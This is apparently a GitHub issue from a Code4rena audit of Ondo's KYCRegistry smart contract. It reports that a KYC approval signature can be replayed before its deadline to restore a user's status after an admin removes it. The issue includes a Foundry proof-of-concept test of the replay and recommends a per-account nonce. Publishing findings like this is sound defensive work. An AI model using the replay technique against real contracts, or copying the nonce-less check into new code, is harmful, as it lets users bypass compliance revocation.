Skip to content

KYC signature can be reused to regain KYC status #326

Description

@code423n4

Lines of code

https://github.com/code-423n4/2023-01-ondo/blob/main/contracts/cash/kyc/KYCRegistry.sol#L79-L112

Vulnerability details

The function addKYCAddressViaSignature of the KYCRegistry contract allows a user to be granted a KYC status using a signature provided by Ondo. The function validates that the signer has the corresponding role for the requirement group and adds the user to the given KYC group if successful.

While the signed digest contains a deadline, if this deadline is long enough, a user may be able to reuse the provided signature.

Impact

The signature can be reused to add the user back to the registry within the limits of the deadline.

If the user is first KYC approved off-chain and given a signature, and is later removed from the registry by a privileged role using removeKYCAddresses, then the user can resubmit the signature to addKYCAddressViaSignature and be readded to the KYC registry.

PoC

The following test illustrates the issue.

contract TestAudit is BasicDeployment {
    function setUp() public {
        createDeploymentCash();

        // Grant Setter
        vm.startPrank(managerAdmin);
        cashManager.grantRole(cashManager.SETTER_ADMIN(), address(this));
        cashManager.grantRole(cashManager.SETTER_ADMIN(), managerAdmin);
        vm.stopPrank();

        // Seed address with 1000000 USDC
        vm.prank(USDC_WHALE);
        USDC.transfer(address(this), INIT_BALANCE_USDC);
    }
    
    function test_KYCRegistry_addKYCAddressViaSignature_ReuseSignature() public {
        uint256 signerPrivateKey = 0x123;
        address signer = vm.addr(signerPrivateKey);

        // Add signer KEY group role
        vm.prank(registryAdmin);
        registry.grantRole(KYC_GROUP_2_ROLE, signer);

        // Alice is not in the registry
        assertFalse(registry.getKYCStatus(kycRequirementGroup, alice));

        // // Alice is KYC off-chain and provided a signature
        uint256 deadline = block.timestamp + 30 days;
        bytes32 structHash = keccak256(abi.encode(registry._APPROVAL_TYPEHASH(), kycRequirementGroup, alice, deadline));
        bytes32 hash = ECDSA.toTypedDataHash(registry.DOMAIN_SEPARATOR(), structHash);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPrivateKey, hash);

        vm.prank(alice);
        registry.addKYCAddressViaSignature(kycRequirementGroup, alice, deadline, v, r, s);

        // Alice is now KYC approved
        assertTrue(registry.getKYCStatus(kycRequirementGroup, alice));

        // Simulate time passes...
        vm.warp(block.timestamp + 15 days);

        // Admin removes Alice KYC status
        address[] memory addressesToRemoveKYC = new address[](1);
        addressesToRemoveKYC[0] = alice;
        vm.prank(signer);
        registry.removeKYCAddresses(kycRequirementGroup, addressesToRemoveKYC);
        assertFalse(registry.getKYCStatus(kycRequirementGroup, alice));

        // Alice reuses the signature and gets back her KYC status
        vm.prank(alice);
        registry.addKYCAddressViaSignature(kycRequirementGroup, alice, deadline, v, r, s);
        assertTrue(registry.getKYCStatus(kycRequirementGroup, alice));
    }
}

Recommendation

Use a nonce for each account and include it as part of the signed message to prevent reusing the same signature more than once. When calling addKYCAddressViaSignature, validate that the nonce is the current nonce for the given user. If successful, consume and increment the nonce.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    2 (Med Risk)Assets not at direct risk, but function/availability of the protocol could be impacted or leak valuebugSomething isn't workingduplicate-187satisfactorysatisfies C4 submission criteria; eligible for awards

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions